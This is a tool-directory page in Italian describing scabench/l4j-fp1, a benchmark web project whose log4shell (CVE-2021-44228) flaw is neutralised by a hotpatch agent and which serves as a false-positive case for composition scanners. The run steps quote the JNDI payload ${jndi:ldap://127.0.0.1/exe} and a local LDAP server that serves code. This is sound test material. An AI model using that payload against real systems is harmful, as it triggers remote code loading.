Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
l4j-fp1 — progetto web JEE con vulnerabilità log4shell (CVE-2021-44228) sanificata | Kitploit
Strumenti/GitHubGitHub/scabench/l4j-fp1
Analisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza WebSicurezza della Supply ChainApprendimento e Formazione
GitHubscabench/l4j-fp1

l4j-fp1

progetto web JEE con vulnerabilità log4shell (CVE-2021-44228) sanificata

Vedi Repository
152 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Falso positivo di log4shell

Questo è un semplice progetto web con una vulnerabilità log4shell sanificata. Per una versione non sanificata, vedere https://github.com/scabench/l4j-tp1/. Il progetto definisce un semplice servizio get scabench.HelloWorldService che restituisce una stringa di testo semplice hello world. Il servizio non prevede parametri e, se vengono rilevati parametri, viene registrato un errore.

La dipendenza vulnerabile è org.apache.logging.log4j:log4j-core:2.14.1, la vulnerabilità è CVE-2021-44228.

Sanificazione

Il progetto utilizza un agente costruito da Amazon quando è emerso log4shell e non era disponibile alcuna patch. L'agente disabiliterà la classe vulnerabile org.apache.logging.log4j.core.lookup.JndiLookup.

L'uso dell'agente è imposto installando (ovvero allegando) l'agente dinamicamente quando viene caricato scabench.HelloWorldService (nel blocco statico della classe); se ciò fallisce, l'applicazione si blocca. Ciò richiede che la JVM abiliti l'auto-allegamento dell'agente.

Esecuzione dell'Applicazione

  1. abilitare l'auto-allegamento dell'agente JVM: export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"
  2. avviare il server web integrato: mvn jetty:run
  3. avviare il server ldap incluso: java -jar dodgy-ldap-server.jar (il codice vulnerabile scaricherà il codice Java da questo server)
  4. puntare il browser su http://localhost:8080/, questo sito contiene un modulo precompilato con un payload dannoso ${jndi:ldap://127.0.0.1/exe}
  5. inviare questo modulo
  6. questo NON creerà il file foo sul server (come fa la versione non sanificata))

Nota che quando si esegue l'applicazione, la seguente riga appare sulla console:

Transforming org/apache/logging/log4j/core/lookup/JndiLookup .

Dimostrazione della Sanificazione tramite Test

Ciò richiede unix o macos. È facile portare questo progetto su windows. Viene fornito un test unitario per dimostrare la vulnerabilità, la configurazione è la stessa usata in https://github.com/scabench/l4j-tp1/. A causa della sanificazione, il test ora fallisce.

Esecuzione di Analisi di Composizione Software

Ci sono diversi script sh per eseguire diverse analisi, i report dei risultati si trovano in scan-results.

Generazione dell'SBOM

Il file pom.xml ha un plugin per generare un SBOM in formato CycloneDX. Per farlo, eseguire mvn cyclonedx:makePackageBom, l'SBOM si trova in target/ in formato json e xml.

Scarica lo strumento